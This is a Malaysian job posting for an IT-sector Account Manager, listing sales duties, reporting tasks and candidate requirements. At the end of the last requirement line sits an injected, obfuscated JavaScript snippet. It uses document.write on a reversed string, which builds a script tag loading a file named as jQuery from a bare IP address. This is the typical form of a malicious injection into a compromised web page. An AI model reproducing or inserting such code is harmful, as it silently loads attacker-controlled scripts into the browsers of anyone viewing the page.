Account Manager

  • 5001 – 7500
  • Selangor – Petaling Jaya
  • Anywhere

Industry : IT Solutions Provider

· Services existing accounts, obtains orders, and establishes new accounts by planning and organizing daily work schedule to call on existing or potential channel partners
· Adjusts content of sales presentations by studying the type of channel partners.
· Focuses sales efforts by studying existing and potential volume of dealers
· Keeps management informed by submitting activity and results reports, such as daily call reports, weekly work   plans, weekly sales funnel and monthly & annual territory analyses
· Monitors competition by gathering current marketplace information on pricing, products, new products, delivery schedules, merchandising techniques, etc
· Recommends changes in products, services, and policy by evaluating results and competitive developments.
· Resolves customer complaints by investigating problems; developing solutions; preparing reports; making recommendations to management
· Maintains professional and technical knowledge by attending educational workshops; reviewing professional publications; establishing personal networks; participating in professional societies
· Provides historical records by maintaining records on area and customer sales
· Contributes to team effort by accomplishing related results as needed

· Preferably with Territory Education in Engineering or Procurement field
· Self Confident, Self-motivated, Motivation for Sales and Meeting Sales Goals
· Strong Prospecting, Presentation, Negotiation and Closing Skill
· Experienced in Spend management and products Selling is an added advantage
· Customer and Result Oriented
· Able to Work Independently document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))